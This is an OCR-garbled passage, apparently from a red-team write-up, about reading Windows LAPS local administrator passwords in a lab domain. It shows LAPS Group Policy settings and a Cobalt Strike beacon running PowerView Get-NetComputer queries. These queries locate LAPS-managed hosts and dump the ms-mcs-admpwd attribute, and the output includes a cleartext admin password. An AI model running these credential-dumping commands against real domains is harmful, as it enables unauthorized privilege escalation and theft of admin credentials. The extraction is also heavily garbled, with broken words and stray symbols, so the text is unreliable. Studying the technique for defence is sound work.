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E[ LAPS [DCO2.RAVEN-MED.LOCA | LAPS
~ i Computer Configuration :
= o Password Settings Setting State Comment
w || Policies
y [ i Password Settings Enabled
» L SoftwareSettings || ¢y olicy cetting _
5 -] Windows Settings |i=| Name of administrater account to manage Enabled Ne
~ ] Administrative Temp Requirements: i) Do not allow password expiration time longer than required ... Enabled Me
[ Control Panel At least Microsoft Windows Vista or |iz| Enable local admin password management Enabled Ne
7 LAPS Windows Server 2003 family
% Nétwork Description:
| Printers
[ Server Configures password parameters
] StartMenu and T
[ System Password complexity: which
. characters are used when generating
| Windows Compc
- R a new password
o e All Settings Default: Large letters + small letters
|1 Preferences + numbers + special characters
w &, User Configuration
7 Policies Password length
] Preferences Minimurn: 8 characters
Maximurn: 64 characters
Default: 14 characters
Password age in days
Minimum: 1 day
Maximurm: 365 days
Default: 30 days
< > | Extended / Standard /
4 setting(s)
L
2 1apsul X
Computer name:
|munﬂ1| | | Search

Password:

00#7C.F2v3

Password expires:
|6/7/2023 1:40:06 PM |

MNew expiration time (leave as is forimmediate expiration):
| Tuesday . May 92023 6:25:08 PM Br|| se
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Get- NetComputer -Filter "(ms-mcs-admpwdexpirationtime=*)" | select dnshostname

[TIITRAVEN-MED [IIT] monO1 [IIT] LAPS[]

beacon> powershell Get-NetComputer -Filter "(ms-mcs-admpwdexpirationtime=*)" -domain raven-med.local | select dnshostname

[*] Tasked beacon to run: Get-NetComputer -Filter "(ms-mcs-admpwdexpirationtime=*)" -domain raven-med.local | select dnshostname
[+] host called home, sent: 545 bytes

[+] received output

#< CLIXML

dnshostname

monO1.raven-med. local

[T]1 Bloodhound[TTIT] PROD [I]] harold [TT]] monO1 []JLAPS [1T]
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MONO1.RAVEN-MED.LOCAL

[I1T] prod\harold [TTT] mon01 [J LAPS [TTTIIIII1] harold (JITTITITIIITIIIIIIIIIT harold [(ITTTTITIT

Get-NetComputer -Filter "(ms-mcs-admpwd=*)" | Select dnshostname, ms-mcs-admpwd
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beacon> powershell Get-NetComputer -Filter '(ms-mcs-admpwd=*)" -domain raven-med.local | Select dnshostname,ms-mcs-admpwd

[*]1 Tasked beacon to run: Get-NetComputer -Filter " (ms-mcs-admpwd=*)" -domain raven-med.local | Select dnshostname,ms-mcs-admpwd
[+] host called home, sent: 545 hytes

[+] received output

#= CLIXML

dnshostname

mon@l, raven-med.local OO#7C.F2v3

[ LAPS

(1012023 [J4 [T LAPSOTTTITITIT LAPS [TTTTTITITI LAPS [IT1T]

1Windows [TT11]

2[1T1Azure AD

3{IDAD [ LAPS [T
Setting State Comment
|i£] Enable password backup for DSRM accounts Mot configured No
i=| Configure size of encrypted password history Mot configured No
2| Enable password encryption Mot configured Mo
i, Configure authorized password decryptors Mot configured MNo
| Name of administrator account to manage Mot configured Mo
i-| Configure password backup directory Mot configured No
i2| Do not allow password expiration time longer than required by policy Mot configured Mo
iz| Password Settings Mot configured Mo
|iz] Post-authentication actions Mot configured MNo
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